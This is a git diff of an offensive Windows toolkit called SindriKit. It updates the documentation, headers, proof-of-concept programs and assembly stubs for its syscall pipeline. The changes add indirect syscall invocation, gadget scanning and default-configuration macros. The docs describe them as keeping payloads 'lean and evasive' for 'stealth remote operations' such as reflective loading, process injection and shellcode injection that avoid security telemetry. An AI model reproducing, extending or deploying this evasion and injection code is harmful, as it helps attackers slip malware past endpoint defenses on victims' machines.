> By using `SND_USE_DEFAULTS`, we ensure the default dependency graph is completely severed when disabled, keeping the payload footprint as lean and evasive as possible.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Integration with `_sys` backends
|
## Integration with `_sys` backends
|
||||||
|
|
||||||
After bootstrap, swapping to syscall-backed primitives requires no additional setup:
|
After bootstrap, swapping to syscall-backed primitives requires no additional setup:
|
||||||
@@ -101,7 +136,7 @@ ctx.mem_api = &snd_mem_sys;
|
|||||||
inj_ctx.proc_api = &snd_proc_sys;
|
inj_ctx.proc_api = &snd_proc_sys;
|
||||||
```
|
```
|
||||||
|
|
||||||
Each `_sys` API function calls `snd_syscall_resolve` with the appropriate hash, packs arguments into `snd_syscall_args_t`, and invokes `snd_syscall_invoke_asm`.
|
Each `_sys` API function calls `snd_syscall_resolve` with the appropriate hash, packs arguments into `snd_syscall_args_t`, and invokes `g_syscall_invoker`.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -109,10 +144,10 @@ Each `_sys` API function calls `snd_syscall_resolve` with the appropriate hash,
|
|||||||
|
|
||||||
| Status | Cause |
|
| Status | Cause |
|
||||||
|---|---|
|
|---|---|
|
||||||
| `SND_STATUS_NOT_INITIALIZED` | `snd_syscall_set_ntdll` not called, or no strategies registered |
|
| `SND_STATUS_NOT_INITIALIZED` | `snd_syscall_set_ntdll` not called, invoker not set, or no strategies registered |
|
||||||
| `SND_STATUS_SSN_NOT_FOUND` | All strategies failed for the hash |
|
| `SND_STATUS_SSN_NOT_FOUND` | All strategies failed for the hash |
|
||||||
| `SND_STATUS_BUFFER_TOO_SMALL` | Strategy chain full (max 4) |
|
| `SND_STATUS_PIPELINE_EXHAUSTED` | Strategy chain full (max 4) |
|
||||||
| `SND_STATUS_INVALID_PARAMETER` | NULL resolver passed to `strategy_add` |
|
| `SND_STATUS_NULL_POINTER` | NULL resolver passed to `strategy_add` |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|||||||
@@ -47,8 +47,10 @@ ldr_ctx.raw_source = &file_buf;
|
|||||||
PVOID ntdll = NULL;
|
PVOID ntdll = NULL;
|
||||||
status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
|
status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
|
||||||
snd_syscall_set_ntdll(ntdll);
|
snd_syscall_set_ntdll(ntdll);
|
||||||
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
||||||
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
||||||
|
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
|
||||||
|
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
||||||
```
|
```
|
||||||
|
|
||||||
### 3. Configure loader and injection contexts
|
### 3. Configure loader and injection contexts
|
||||||
|
|||||||
@@ -44,9 +44,12 @@ status = snd_disk_buffer_load(file_path, &inject_buf);
|
|||||||
```c
|
```c
|
||||||
PVOID ntdll = NULL;
|
PVOID ntdll = NULL;
|
||||||
status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
|
status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
|
||||||
|
|
||||||
snd_syscall_set_ntdll(ntdll);
|
snd_syscall_set_ntdll(ntdll);
|
||||||
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
||||||
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
||||||
|
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
|
||||||
|
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
||||||
```
|
```
|
||||||
|
|
||||||
This PoC bootstraps the pipeline but uses `snd_proc_win` for injection. Swap to `&snd_proc_sys` to use the prepared pipeline for stealth remote operations.
|
This PoC bootstraps the pipeline but uses `snd_proc_win` for injection. Swap to `&snd_proc_sys` to use the prepared pipeline for stealth remote operations.
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ No CLI — edit `file_path` in `main.c` before building.
|
|||||||
PVOID ntdll = NULL;
|
PVOID ntdll = NULL;
|
||||||
status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &ntdll);
|
status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &ntdll);
|
||||||
snd_syscall_set_ntdll(ntdll);
|
snd_syscall_set_ntdll(ntdll);
|
||||||
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
||||||
```
|
```
|
||||||
|
|
||||||
### 2. Configure loader context
|
### 2. Configure loader context
|
||||||
|
|||||||
@@ -31,8 +31,10 @@ status = snd_disk_buffer_load("C:\\Windows\\System32\\ntdll.dll", &ntdll_buf);
|
|||||||
PVOID ntdll = ntdll_buf.data;
|
PVOID ntdll = ntdll_buf.data;
|
||||||
|
|
||||||
snd_syscall_set_ntdll(ntdll);
|
snd_syscall_set_ntdll(ntdll);
|
||||||
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
||||||
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
||||||
|
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
|
||||||
|
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
||||||
```
|
```
|
||||||
|
|
||||||
Commented alternatives in `pocs/loader_nowinapi/main.c` (swap in for different OpSec trade-offs):
|
Commented alternatives in `pocs/loader_nowinapi/main.c` (swap in for different OpSec trade-offs):
|
||||||
|
|||||||
@@ -40,7 +40,7 @@ See [Dependency injection](../architecture/dependency_injection.md) for the full
|
|||||||
## 3. Explicit bootstrap (no implicit globals)
|
## 3. Explicit bootstrap (no implicit globals)
|
||||||
|
|
||||||
> [!IMPORTANT]
|
> [!IMPORTANT]
|
||||||
> Syscall-backed backends (`snd_mem_sys`, `snd_proc_sys`) and the syscall resolution pipeline require **explicit initialization**. The engine does not auto-discover a clean `ntdll` base or SSN table.
|
> Syscall-backed backends (`snd_mem_sys`, `snd_proc_sys`) and the syscall resolution pipeline require **explicit initialization**. The engine does not auto-discover a clean `ntdll` base or SSN table (unless `SND_USE_DEFAULTS=ON`, where only `snd_syscall_set_ntdll()` is strictly required).
|
||||||
|
|
||||||
### Minimum syscall bootstrap
|
### Minimum syscall bootstrap
|
||||||
|
|
||||||
@@ -50,24 +50,30 @@ PVOID ntdll = NULL;
|
|||||||
// Option A: KnownDlls (preferred for inject_pe / production syscall paths)
|
// Option A: KnownDlls (preferred for inject_pe / production syscall paths)
|
||||||
status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
|
status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
|
||||||
|
|
||||||
// Option B: disk load (loader_nowinapi default)
|
// Option B: PEB walk (no disk I/O)
|
||||||
// status = snd_disk_buffer_load("C:\\Windows\\System32\\ntdll.dll", &ntdll_buf);
|
|
||||||
// ntdll = ntdll_buf.data;
|
|
||||||
|
|
||||||
// Option C: PEB walk (no disk I/O)
|
|
||||||
// status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &ntdll);
|
// status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &ntdll);
|
||||||
|
|
||||||
|
// Option C: disk load
|
||||||
|
// ...
|
||||||
|
|
||||||
snd_syscall_set_ntdll(ntdll);
|
snd_syscall_set_ntdll(ntdll);
|
||||||
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
||||||
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
||||||
|
|
||||||
|
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
|
||||||
|
// or for indirect syscalls:
|
||||||
|
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
|
||||||
|
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
||||||
```
|
```
|
||||||
|
|
||||||
| Step | Purpose |
|
| Step | Purpose |
|
||||||
|---|---|
|
|---|---|
|
||||||
| Obtain `ntdll` base | SSN scan/sort read export stubs from this image |
|
| Obtain `ntdll` base | SSN scan/sort read export stubs from this image |
|
||||||
| `snd_syscall_set_ntdll` | Registers the base for all resolvers |
|
| `snd_syscall_set_ntdll` | Registers the base for all resolvers |
|
||||||
| `snd_syscall_strategy_set` | Primary resolver (scan) |
|
| `snd_syscall_set_resolver` | Primary resolver (scan) |
|
||||||
| `snd_syscall_strategy_add` | Fallback resolver (sort) |
|
| `snd_syscall_add_resolver` | Fallback resolver (sort) |
|
||||||
|
| `snd_syscall_set_invoker` | Selects direct or indirect invocation |
|
||||||
|
| `snd_syscall_set_gadget_finder` | Required for indirect invocation only |
|
||||||
|
|
||||||
Even when using **`snd_mem_nt`** (in-process `ntdll` stubs, not direct syscalls), PoCs still bootstrap the pipeline so upgrading to **`snd_mem_sys`** requires no other code changes.
|
Even when using **`snd_mem_nt`** (in-process `ntdll` stubs, not direct syscalls), PoCs still bootstrap the pipeline so upgrading to **`snd_mem_sys`** requires no other code changes.
|
||||||
|
|
||||||
@@ -147,7 +153,7 @@ snd_inj_cleanup(&inj_ctx);
|
|||||||
|---|---|---|---|---|---|
|
|---|---|---|---|---|---|
|
||||||
| Diagnostic | `loader_winapi` | `snd_mem_win` | `snd_mod_win` | — | Optional |
|
| Diagnostic | `loader_winapi` | `snd_mem_win` | `snd_mod_win` | — | Optional |
|
||||||
| NT stubs | `loader_nowinapi` | `snd_mem_nt` | `snd_mod_nt` | — | Required (disk `ntdll`) |
|
| NT stubs | `loader_nowinapi` | `snd_mem_nt` | `snd_mod_nt` | — | Required (disk `ntdll`) |
|
||||||
| Direct syscalls | `inject_pe` | `snd_mem_sys` | `snd_mod_nt` | `snd_proc_sys` | Required (KnownDlls) |
|
| Direct/Indirect syscalls | `inject_pe` | `snd_mem_sys` | `snd_mod_nt` | `snd_proc_sys` | Required (KnownDlls) |
|
||||||
| CRT-less | `loader_noCRT_nowinapi` | `snd_mem_win` | `snd_mod_nt` | — | Minimal |
|
| CRT-less | `loader_noCRT_nowinapi` | `snd_mem_win` | `snd_mod_nt` | — | Minimal |
|
||||||
| Shellcode inject | `inject_shell` | — | — | `snd_proc_win` | Yes (KnownDlls; unused while `_win`) |
|
| Shellcode inject | `inject_shell` | — | — | `snd_proc_win` | Yes (KnownDlls; unused while `_win`) |
|
||||||
| WoW64 x64 exec | `heavens_gate` | Win32 demo alloc | — | — | N/A |
|
| WoW64 x64 exec | `heavens_gate` | Win32 demo alloc | — | — | N/A |
|
||||||
@@ -180,8 +186,10 @@ Avoids `VirtualAlloc` / `LoadLibrary` telemetry; calls still pass through in-pro
|
|||||||
```c
|
```c
|
||||||
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
|
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
|
||||||
snd_syscall_set_ntdll(ntdll);
|
snd_syscall_set_ntdll(ntdll);
|
||||||
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
||||||
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
||||||
|
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
|
||||||
|
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
||||||
|
|
||||||
ldr_ctx.mem_api = &snd_mem_sys;
|
ldr_ctx.mem_api = &snd_mem_sys;
|
||||||
ldr_ctx.mod_api = &snd_mod_nt;
|
ldr_ctx.mod_api = &snd_mod_nt;
|
||||||
|
|||||||
@@ -62,11 +62,13 @@ Include `sindri.h` or granular headers (`sindri/primitives.h`, etc.). Hash const
|
|||||||
| `SND_RANDOMIZE_SEED` | `OFF` | Random `SND_HASH_SEED` per configure | OFF keeps deterministic hashes for faster rebuilds |
|
| `SND_RANDOMIZE_SEED` | `OFF` | Random `SND_HASH_SEED` per configure | OFF keeps deterministic hashes for faster rebuilds |
|
||||||
| `SND_BUILD_PAYLOADS` | `OFF` | Build `pocs/` executables | Full set when `SND_CRTLESS=OFF` |
|
| `SND_BUILD_PAYLOADS` | `OFF` | Build `pocs/` executables | Full set when `SND_CRTLESS=OFF` |
|
||||||
| `SND_BUILD_TESTS` | `OFF` | Build test payloads + integration harness inputs | **Requires CRT**; forces `SND_CRTLESS=OFF` |
|
| `SND_BUILD_TESTS` | `OFF` | Build test payloads + integration harness inputs | **Requires CRT**; forces `SND_CRTLESS=OFF` |
|
||||||
|
| `SND_USE_DEFAULTS` | `OFF` | Pre-configure syscall invoker, gadget finder, and resolver globals | Defaults to indirect invoke + scan resolver + gadget scan. **OpSec note**: Left OFF by default so unused ASM stubs and scanners aren't linked into the final binary. |
|
||||||
|
|
||||||
### Guards (CMake)
|
### Guards (CMake)
|
||||||
|
|
||||||
- `SND_BUILD_TESTS=ON` → `SND_CRTLESS` forced OFF
|
- `SND_BUILD_TESTS=ON` → `SND_CRTLESS` forced OFF
|
||||||
- `SND_CRTLESS=ON` → `SND_ENABLE_DEBUG` and `SND_USE_PRINTF` forced OFF
|
- `SND_CRTLESS=ON` → `SND_ENABLE_DEBUG` and `SND_USE_PRINTF` forced OFF
|
||||||
|
- `SND_USE_DEFAULTS=ON` → invoker = `snd_syscall_indirect_invoke_asm`, gadget finder = `snd_syscall_find_gadget_scan`, resolver = `snd_syscall_resolve_ssn_scan`
|
||||||
- Non-Windows configure → fatal error
|
- Non-Windows configure → fatal error
|
||||||
|
|
||||||
Use a **clean build directory** when switching between CRT-less and test builds.
|
Use a **clean build directory** when switching between CRT-less and test builds.
|
||||||
|
|||||||
Vendored
+3
-3
@@ -12,8 +12,8 @@ Keeping these separate reflects the code layout:
|
|||||||
|
|
||||||
```
|
```
|
||||||
include/sindri/parsers/
|
include/sindri/parsers/
|
||||||
├── pe/ ← buffer-backed PE format parsing
|
├── pe/ <- buffer-backed PE format parsing
|
||||||
└── env/ ← live process environment structures
|
└── env/ <- live process environment structures
|
||||||
```
|
```
|
||||||
|
|
||||||
NT layout definitions (`SND_PEB`, `SND_LDR_DATA_TABLE_ENTRY`, etc.) live in `include/sindri/internal/nt/peb.h`. Env parsers consume these layouts; they do not duplicate Windows SDK headers to avoid pulling in monitored imports.
|
NT layout definitions (`SND_PEB`, `SND_LDR_DATA_TABLE_ENTRY`, etc.) live in `include/sindri/internal/nt/peb.h`. Env parsers consume these layouts; they do not duplicate Windows SDK headers to avoid pulling in monitored imports.
|
||||||
@@ -50,7 +50,7 @@ Loaded modules are tracked in three linked lists inside `SND_PEB_LDR_DATA`:
|
|||||||
|
|
||||||
```
|
```
|
||||||
InLoadOrderModuleList
|
InLoadOrderModuleList
|
||||||
InMemoryOrderModuleList ← used by SindriKit
|
InMemoryOrderModuleList <- used by SindriKit
|
||||||
InInitializationOrderModuleList
|
InInitializationOrderModuleList
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|||||||
@@ -11,6 +11,10 @@ SND_BEGIN_EXTERN_C
|
|||||||
#define SND_MAX_SYSCALLS 500
|
#define SND_MAX_SYSCALLS 500
|
||||||
#define SND_MAX_SYS_NAME_LEN 256
|
#define SND_MAX_SYS_NAME_LEN 256
|
||||||
|
|
||||||
|
#ifndef SND_USE_DEFAULTS
|
||||||
|
#define SND_USE_DEFAULTS 0
|
||||||
|
#endif
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief Syscall entry structure holding the address, hash, and syscall number.
|
* @brief Syscall entry structure holding the address, hash, and syscall number.
|
||||||
*/
|
*/
|
||||||
@@ -18,6 +22,7 @@ typedef struct {
|
|||||||
PVOID pAddress;
|
PVOID pAddress;
|
||||||
DWORD dwHash;
|
DWORD dwHash;
|
||||||
WORD wSystemCall;
|
WORD wSystemCall;
|
||||||
|
PVOID pSyscallAddr;
|
||||||
} snd_syscall_entry_t;
|
} snd_syscall_entry_t;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -36,6 +41,9 @@ typedef struct {
|
|||||||
PVOID arg9;
|
PVOID arg9;
|
||||||
PVOID arg10;
|
PVOID arg10;
|
||||||
PVOID arg11;
|
PVOID arg11;
|
||||||
|
// Placed at the end to prevent altering the memory offsets of args 1-11
|
||||||
|
// inside the existing Direct ASM stub (invoke_x64.asm).
|
||||||
|
PVOID sys_addr;
|
||||||
} snd_syscall_args_t;
|
} snd_syscall_args_t;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -43,22 +51,37 @@ typedef struct {
|
|||||||
* Any custom or future gate can be plugged into the engine if it matches this.
|
* Any custom or future gate can be plugged into the engine if it matches this.
|
||||||
*/
|
*/
|
||||||
typedef snd_status_t (*snd_syscall_resolver_t)(PVOID ntdll_base, DWORD func_hash, snd_syscall_entry_t *entry_out);
|
typedef snd_status_t (*snd_syscall_resolver_t)(PVOID ntdll_base, DWORD func_hash, snd_syscall_entry_t *entry_out);
|
||||||
|
typedef NTSTATUS (*snd_syscall_invoker_t)(snd_syscall_args_t *args);
|
||||||
|
typedef snd_status_t (*snd_syscall_gadget_finder_t)(snd_syscall_entry_t *entry);
|
||||||
|
|
||||||
snd_status_t snd_syscall_resolve_ssn_scan(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out);
|
snd_status_t snd_syscall_resolve_ssn_scan(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out);
|
||||||
snd_status_t snd_syscall_resolve_ssn_sort(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out);
|
snd_status_t snd_syscall_resolve_ssn_sort(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out);
|
||||||
|
snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry);
|
||||||
|
|
||||||
|
#if SND_USE_DEFAULTS
|
||||||
|
#define SND_SYSCALL_INVOKER_DEFAULT snd_syscall_indirect_invoke_asm
|
||||||
|
#define SND_SYSCALL_GADGET_FINDER_DEFAULT snd_syscall_find_gadget_scan
|
||||||
|
#define SND_SYSCALL_RESOLVER_DEFAULT snd_syscall_resolve_ssn_scan
|
||||||
|
#else
|
||||||
|
#define SND_SYSCALL_INVOKER_DEFAULT NULL
|
||||||
|
#define SND_SYSCALL_GADGET_FINDER_DEFAULT NULL
|
||||||
|
#define SND_SYSCALL_RESOLVER_DEFAULT NULL
|
||||||
|
#endif
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief Sets the primary syscall resolution strategy using a function pointer.
|
* @brief Sets the primary syscall resolution strategy using a function pointer.
|
||||||
* @param resolver The resolver function to use as the primary strategy.
|
* @param resolver The resolver function to use as the primary strategy.
|
||||||
*/
|
*/
|
||||||
void snd_syscall_strategy_set(snd_syscall_resolver_t resolver);
|
void snd_syscall_set_resolver(snd_syscall_resolver_t resolver);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief Adds a fallback syscall resolution strategy to the pipeline.
|
* @brief Adds a fallback syscall resolution strategy to the pipeline.
|
||||||
* @param resolver The fallback resolver function to add.
|
* @param resolver The fallback resolver function to add.
|
||||||
* @return SND_OK on success, or an error if the pipeline is full.
|
* @return SND_OK on success, or an error if the pipeline is full.
|
||||||
*/
|
*/
|
||||||
snd_status_t snd_syscall_strategy_add(snd_syscall_resolver_t resolver);
|
snd_status_t snd_syscall_add_resolver(snd_syscall_resolver_t resolver);
|
||||||
|
void snd_syscall_set_invoker(snd_syscall_invoker_t invoker);
|
||||||
|
void snd_syscall_set_gadget_finder(snd_syscall_gadget_finder_t finder);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief Sets the global base address of the ntdll.dll module.
|
* @brief Sets the global base address of the ntdll.dll module.
|
||||||
@@ -81,7 +104,8 @@ snd_status_t snd_syscall_resolve(DWORD func_hash, snd_syscall_entry_t *entry_out
|
|||||||
* @param args Pointer to the syscall arguments structure.
|
* @param args Pointer to the syscall arguments structure.
|
||||||
* @return The NTSTATUS returned by the syscall.
|
* @return The NTSTATUS returned by the syscall.
|
||||||
*/
|
*/
|
||||||
extern NTSTATUS snd_syscall_invoke_asm(snd_syscall_args_t *args);
|
extern NTSTATUS snd_syscall_direct_invoke_asm(snd_syscall_args_t *args);
|
||||||
|
extern NTSTATUS snd_syscall_indirect_invoke_asm(snd_syscall_args_t *args);
|
||||||
|
|
||||||
SND_END_EXTERN_C
|
SND_END_EXTERN_C
|
||||||
|
|
||||||
|
|||||||
@@ -72,10 +72,12 @@ int main(int argc, char *argv[]) {
|
|||||||
goto cleanup;
|
goto cleanup;
|
||||||
}
|
}
|
||||||
snd_syscall_set_ntdll(ntdll);
|
snd_syscall_set_ntdll(ntdll);
|
||||||
|
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
|
||||||
|
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
||||||
|
|
||||||
/* Configure the cascading syscall resolution strategy. */
|
/* Configure the cascading syscall resolution strategy. */
|
||||||
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
||||||
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
||||||
|
|
||||||
// Configure Loader: Use syscalls for memory, Native API for module resolution
|
// Configure Loader: Use syscalls for memory, Native API for module resolution
|
||||||
ldr_ctx.mem_api = &snd_mem_sys;
|
ldr_ctx.mem_api = &snd_mem_sys;
|
||||||
|
|||||||
@@ -80,8 +80,9 @@ int main(int argc, char *argv[]) {
|
|||||||
snd_syscall_set_ntdll(ntdll);
|
snd_syscall_set_ntdll(ntdll);
|
||||||
|
|
||||||
/* Configure the cascading syscall resolution strategy. */
|
/* Configure the cascading syscall resolution strategy. */
|
||||||
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
||||||
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
||||||
|
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
|
||||||
|
|
||||||
inj_ctx.target_pid = target_pid;
|
inj_ctx.target_pid = target_pid;
|
||||||
inj_ctx.payload = &inject_buf;
|
inj_ctx.payload = &inject_buf;
|
||||||
|
|||||||
@@ -1,5 +1,3 @@
|
|||||||
#include "sindri/primitives/memory.h"
|
|
||||||
|
|
||||||
#include <sindri.h>
|
#include <sindri.h>
|
||||||
|
|
||||||
int main() {
|
int main() {
|
||||||
@@ -19,7 +17,9 @@ int main() {
|
|||||||
snd_syscall_set_ntdll(ntdll);
|
snd_syscall_set_ntdll(ntdll);
|
||||||
|
|
||||||
/* Configure the cascading syscall resolution strategy. */
|
/* Configure the cascading syscall resolution strategy. */
|
||||||
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
||||||
|
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
|
||||||
|
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
||||||
|
|
||||||
ctx.mem_api = &snd_mem_win;
|
ctx.mem_api = &snd_mem_win;
|
||||||
ctx.mod_api = &snd_mod_nt;
|
ctx.mod_api = &snd_mod_nt;
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
#include <sindri.h>
|
#include <sindri.h>
|
||||||
|
#include <sindri/primitives/syscalls.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
@@ -122,7 +123,7 @@ int main(int argc, char *argv[]) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
ntdll_ctx.mem_api = &snd_mem_win;
|
ntdll_ctx.mem_api = &snd_mem_win;
|
||||||
ntdll_ctx.mod_api = &snd_mod_nt;
|
ntdll_ctx.mod_api = &snd_mod_win;
|
||||||
ntdll_ctx.raw_source = &ntdll_buf;
|
ntdll_ctx.raw_source = &ntdll_buf;
|
||||||
|
|
||||||
status = snd_pe_parse(ntdll_ctx.raw_source, FALSE, &ntdll_ctx.pe);
|
status = snd_pe_parse(ntdll_ctx.raw_source, FALSE, &ntdll_ctx.pe);
|
||||||
@@ -157,9 +158,11 @@ int main(int argc, char *argv[]) {
|
|||||||
|
|
||||||
snd_syscall_set_ntdll(ntdll);
|
snd_syscall_set_ntdll(ntdll);
|
||||||
|
|
||||||
/* Configure the cascading syscall resolution strategy. */
|
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
|
||||||
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
|
||||||
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
|
||||||
|
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
|
||||||
|
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
|
||||||
|
|
||||||
ctx.mem_api = &snd_mem_sys;
|
ctx.mem_api = &snd_mem_sys;
|
||||||
ctx.mod_api = &snd_mod_nt;
|
ctx.mod_api = &snd_mod_nt;
|
||||||
|
|||||||
@@ -1,8 +1,7 @@
|
|||||||
#include "sindri/loaders/reflective/engine.h"
|
|
||||||
|
|
||||||
#include <sindri/common/debug.h>
|
#include <sindri/common/debug.h>
|
||||||
#include <sindri/common/status.h>
|
#include <sindri/common/status.h>
|
||||||
#include <sindri/loaders/reflective/chain.h>
|
#include <sindri/loaders/reflective/chain.h>
|
||||||
|
#include <sindri/loaders/reflective/engine.h>
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
|
|
||||||
typedef BOOL(WINAPI *snd_dll_entry_proc_t)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);
|
typedef BOOL(WINAPI *snd_dll_entry_proc_t)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);
|
||||||
|
|||||||
+6
-6
@@ -1,9 +1,9 @@
|
|||||||
; ===========================================================================
|
; ===========================================================================
|
||||||
; invoke_x64.asm - SindriKit Syscall Invocation ASM Stub (x64 / MASM)
|
; invoke_direct_x64.asm - SindriKit Syscall Invocation ASM Stub (x64 / MASM)
|
||||||
; ===========================================================================
|
; ===========================================================================
|
||||||
;
|
;
|
||||||
; Exports:
|
; Exports:
|
||||||
; snd_syscall_invoke_asm
|
; snd_syscall_direct_invoke_asm
|
||||||
;
|
;
|
||||||
; Invokes a syscall with up to 10 arguments safely, setting up the
|
; Invokes a syscall with up to 10 arguments safely, setting up the
|
||||||
; required stack and register states for the x64 calling convention.
|
; required stack and register states for the x64 calling convention.
|
||||||
@@ -11,10 +11,10 @@
|
|||||||
|
|
||||||
.code
|
.code
|
||||||
|
|
||||||
PUBLIC snd_syscall_invoke_asm
|
PUBLIC snd_syscall_direct_invoke_asm
|
||||||
|
|
||||||
; snd_syscall_invoke_asm(SND_SYSCALL_ARGS* args)
|
; snd_syscall_direct_invoke_asm(SND_SYSCALL_ARGS* args)
|
||||||
snd_syscall_invoke_asm PROC
|
snd_syscall_direct_invoke_asm PROC
|
||||||
; Allocate 96 bytes on stack to safely store args 5-11
|
; Allocate 96 bytes on stack to safely store args 5-11
|
||||||
; (32 bytes shadow space + 56 bytes for 7 args + 8 bytes padding for 16-byte alignment)
|
; (32 bytes shadow space + 56 bytes for 7 args + 8 bytes padding for 16-byte alignment)
|
||||||
sub rsp, 96
|
sub rsp, 96
|
||||||
@@ -48,6 +48,6 @@ snd_syscall_invoke_asm PROC
|
|||||||
; Restore stack and return
|
; Restore stack and return
|
||||||
add rsp, 96
|
add rsp, 96
|
||||||
ret
|
ret
|
||||||
snd_syscall_invoke_asm ENDP
|
snd_syscall_direct_invoke_asm ENDP
|
||||||
|
|
||||||
end
|
end
|
||||||
+5
-5
@@ -1,9 +1,9 @@
|
|||||||
; ===========================================================================
|
; ===========================================================================
|
||||||
; invoke_x86.asm - SindriKit Syscall Invocation ASM Stub (x86 / MASM)
|
; invoke_direct_x86.asm - SindriKit Syscall Invocation ASM Stub (x86 / MASM)
|
||||||
; ===========================================================================
|
; ===========================================================================
|
||||||
;
|
;
|
||||||
; Exports:
|
; Exports:
|
||||||
; snd_syscall_invoke_asm
|
; snd_syscall_direct_invoke_asm
|
||||||
;
|
;
|
||||||
; Invokes a syscall with up to 11 arguments safely. Handles both native x86
|
; Invokes a syscall with up to 11 arguments safely. Handles both native x86
|
||||||
; via int 0x2E and WOW64 execution environments.
|
; via int 0x2E and WOW64 execution environments.
|
||||||
@@ -14,9 +14,9 @@
|
|||||||
|
|
||||||
.code
|
.code
|
||||||
|
|
||||||
PUBLIC snd_syscall_invoke_asm
|
PUBLIC snd_syscall_direct_invoke_asm
|
||||||
|
|
||||||
snd_syscall_invoke_asm PROC
|
snd_syscall_direct_invoke_asm PROC
|
||||||
; Setup standard frame
|
; Setup standard frame
|
||||||
push ebp
|
push ebp
|
||||||
mov ebp, esp
|
mov ebp, esp
|
||||||
@@ -65,6 +65,6 @@ cleanup:
|
|||||||
